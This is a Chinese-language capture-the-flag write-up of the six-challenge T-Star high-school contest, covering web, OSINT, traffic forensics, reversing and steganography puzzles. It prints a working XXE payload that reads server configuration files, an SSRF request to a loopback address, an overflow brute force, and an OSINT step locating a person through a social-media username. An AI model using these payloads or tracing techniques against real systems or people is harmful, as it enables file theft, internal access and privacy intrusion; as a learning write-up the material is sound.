T-Star高校挑战赛
toc
0x01
有幸参与了这次比赛并拿到了还不错的排名考点新颖的题目总是吸引人的!这次的题目涵盖了不同方向的考点,正好自己也在学习,就花了一段时间做了一下,也是从中学到了不少新的思路(又有新考点啦!)。
对于我来说学安全在于坚持,身边的好多朋友都是学了一段时间就放弃了,觉得这个东西很难,很无趣。但是我相信当能独立解出来一个题目,拿到预期的FLAG
亦或者是挖出一个新的漏洞。都是充满成就感的时刻。最后就会不由自主的去关注安全,去更加深入学习安全知识。总之,人人都是T-Star
!
Challenge 1
题目描述
Into the Unknown……未知之境……
你看着屏幕上的文字,陷入了沉思。加密你的文件,还拍下了你的一举一动……不管这个人是谁,他都是蓄谋已久。
那么,是不是应该拒绝?可人生的另一种可能……带领你走向未知……一股熟悉的躁动在指尖传来,不管这个设下圈套的人是谁,他一定都对你极为了解:他知道你不会轻易放弃,你知道你会接受挑战。
这是作为一个优秀的黑客,必不可少的品质。
你点开了这个神秘的网站。
http://175.178.148.197:5000/
这……似乎需要你完成手机号验证才能登陆。进到这个网站后台,是否有更多消息?
提示:web题,flag为T-Star{字符串}中的字符串,严禁使用扫描器进行路径/验证码暴力破解,此操作对解题没有帮助并将对恶意扫描IP进行封禁。
解题思路
打开需要有验证码 抓包发现直接返回数据了
登录上去简单搜集了一下信息
发现有几个api
- /api/info
- /api/like
- /api/smscode
info的接口没注入
只有这个like接口最可疑,最开始测的是nosql注入,发现不太对。
想了下是不是xxe,测了一下发现报错了xxe。找了个读文件的payload
代码语言:html复制<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE message [
<!ENTITY % xxe '
<!ENTITY % file SYSTEM "file:///proc/self/cwd/config.py">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///test/%file;'>">
%eval;
%error;
'>
%xxe;
]>
读proc cmdline 有0x0 想了一下cwd目录 直接读了app.py 顺便有config.py 有flag
Challenge 2
题目描述
你紧盯着网站界面,这一番功夫下来,除了这个ID,你一无所获。可惜,ID不会说话。
等等……ID,真的不会说话吗?这个ID……会不会藏着更多信息?有没有可能,定位到这个ID背后的主人,究竟在在哪里?
提示:答案为城市名(限中文/小写英文) eg. 北京或者beijing
解题思路
知道题目1有一个info的api看到这个城市是成都
但是没啥用 通过他的username可以搜到他的微博
旺柴 会议室 T-Star = 深圳 猜了个深圳!
Challenge 3
题目描述
一不做二不休,你决定索性去目的地一探究竟。
你跟着指示一路找了过来,发现自己站在一扇紧锁的大门前。刚一靠近,门禁系统就发生了刺耳的警告声。
硬闯显然是不可能的,你紧盯着大门上的标志,突然灵光一现:试试捕捉流量吧!
果然,你捕捉到了一段流量!这个里面,会不会有你需要的关键信息?
http://175.178.148.197/031ocvpfrc1b79a0f61/pkt
提示:包含多个小关卡,请提交最后一关答案,答案不带T-Star{}.
解题思路
一个wireshark流量,打开简单分析下
导出该数据流。去掉没有用的部分
然后可以从网上搜到adb_backup的解密脚本
https://github.com/lclevy/ab_decrypt
需要一个密码 找一下
逆向一下apk得到一个地址
代码语言:java复制package ctf.misc.step;
public class Step1 {
public static String FlagStep1 = "175.178.148.197:80";
}
cyberchef用private_key.pem
解一下key.en
,得到
密码,解压flag.zip
得到一串01
猜了一下是个图片
代码语言:python代码运行次数:0复制from PIL import Image
result = "1111111010010101010110111111110000010100011000111101000001101110100110100101000010111011011101010000110001000101110110111010110100100101101011101100000100100111011001010000011111111010101010101010111111100000000001111001000000000000110011010000110101010011011110001110110101101011000011110000110100101110010010111111000100001101000011010000100000100100101101001011010010101111010011110100111101001110000011110100101101001011010010001110011101101111011001110000001001010101001100011001001001001110111111111111011101101001010111001101110111001001110111000001111100011001000010100110110011111011010100111110010001100100011110011001100000000001001010101101010111001111111010110001101000101001010000011100111110010001000100101110101010011111111110111101011101000000010000000000111010111011110001010110111001110100000101110011101101110011101111111"
img = Image.new("L", (29, 29))
for x in range(29):
for y in range(29):
img.putpixel((x,28-y), (1-int(result[x*29 y]))*255)
img.save("result.png")
扫码得到
033yia8rqea1921ca61/systemlockdown
访问链接 是个二进制文件。。
分析
要求每个字符都是数字且相同
由于读入长度是 7,但结构只有 6,所以可以造成溢出到 key 字段,爆破搜索到符合验证条件的内容,得到 5
代码语言:c复制#include <iostream>
struct door_key {
unsigned char passed : 1;
unsigned char checksum1 : 2;
unsigned char checksum2 : 2;
unsigned char checksum3 : 3;
};
int main()
{
for (char i = 0; i <= 0x70; i )
{
if (!isdigit(i)) continue;
door_key *x = (door_key*)&i;
if ((x->passed && (x->checksum1 == x->checksum2) && x->checksum3 > 0)) {
printf("%c", i);
}
}
}
flag md5(5555555)
Challenge 4
题目描述
终于成功解开了门禁!进入了紧闭的房间,这里似乎曾经是一个总部实验室,然而此刻已是人去楼空,房间里空荡荡的,一个人都没有。
看来,不管这里曾经是谁在这里,房间里的秘密都已经随着主人一起离开了。
突然,一股刺耳的闹钟铃声划破寂静——
竟然有人在这里留了一部手机?难道说,你的一举一动都在人的意料之中?
铃声不知疲倦地响着,似乎笃定了你会接。
你拿起了手机。
这里面是有什么信息吗?
http://175.178.148.197/b378603d0266d73e743c8d05f5bc3ebe.zip
提示:需要修复二维码与压缩包,分析出压缩包密码,答案为解压后的TXT内容
解题思路
先简单修一下二维码
扫描得到一个压缩包
下载下来要密码 修一下之前的压缩包
一个mp3
https://morsecode.world/international/decoder/audio-decoder-adaptive.html
解密一下
Challenge 5
题目描述
这个网址!你知道!这是一个搜索引擎无法捕捉的地方,一个黑暗的平行世界。在这个世界里,毒品、信息贩卖、军火交易、谋杀等一系列被法律所禁止的事情,都得到了罪恶土壤,一切交易都通过平台上特定的货币隐秘地进行。
据说只要有「足够」的钱,你能买到任何需要的信息。
这个网站里会不会有你需要的线索?他们可靠吗?
未知,恰恰最能激起你的征服欲。
你决定铤而走险,向黑市进发。
提示:需要先解出第4题获得入口,会一点点Go更佳,flag为T-Star{字符串}中的字符串
解题思路
通过上一题的链接登录
肯定钱不够买这个了。根据之前做题经验。溢出或者逻辑漏洞,没有啥退款的地方,那肯定就是溢出了
fuzz了一会儿
就能买了
登录搜狐邮箱
解几个Security is too often merely an illusion, an illusion sometimes made even worse when gullibility, naivete, or
google搜一下能发现一些文章
然后把这一段复制进去就行了。。
代码语言:txt复制Security is too often merely an illusion, an illusion sometimes made even worse when gullibility, naivete, or ignorance come into play. The world's most respected scientist of the twentieth century, Albert Einstein, is quoted as saying, "Only two things are infinite, the universe and human stupidity, and I'm not sure about the former." In the end, social engineering attacks can succeed when people are stupid or, more commonly, simply ignorant about good security practices. With the same attitude as our security-conscious homeowner, many information technology (IT) professionals hold to the misconception that they've made their companies largely immune to attack because they've deployed standard security products - firewalls, intrusion detection systems, or stronger authentication devices such as time-based tokens or biometric smart cards. Anyone who thinks that security products alone offer true security is settling for. the illusion of security. It's a case of living in a world of fantasy: They will inevitably, later if not sooner, suffer a security incident.
Challenge 6
题目描述
借助网站的帮助,你终于成功恢复了电脑。
但……这个文档?这个文档里又是什么?
这一切都是某个人不怀好意的玩笑吗?
http://175.178.148.197/0615giqrzc8ab524761/guess
提示:包含多个小关卡,请提交最后一关flag,flag为T-Star{字符串}中的字符串.
解题思路
打开docx 发现flag2
在书签发现了base32 解密是个ip
binwalk解压出一个图片。outguess解密下
代码语言:txt复制./outguess -k 123456 -r 'image1.jpg' out.txt
拼接一下
代码语言:txt复制175.178.148.197/062ycz7s9458b772e91/webs
一个ssrf fuzz了一会儿发现flag.php
最后访问
代码语言:txt复制http://175.178.148.197/062ycz7s9458b772e91/webs/index.php?url=http://127.0.0.2/062ycz7s9458b772e91/webs/flag.php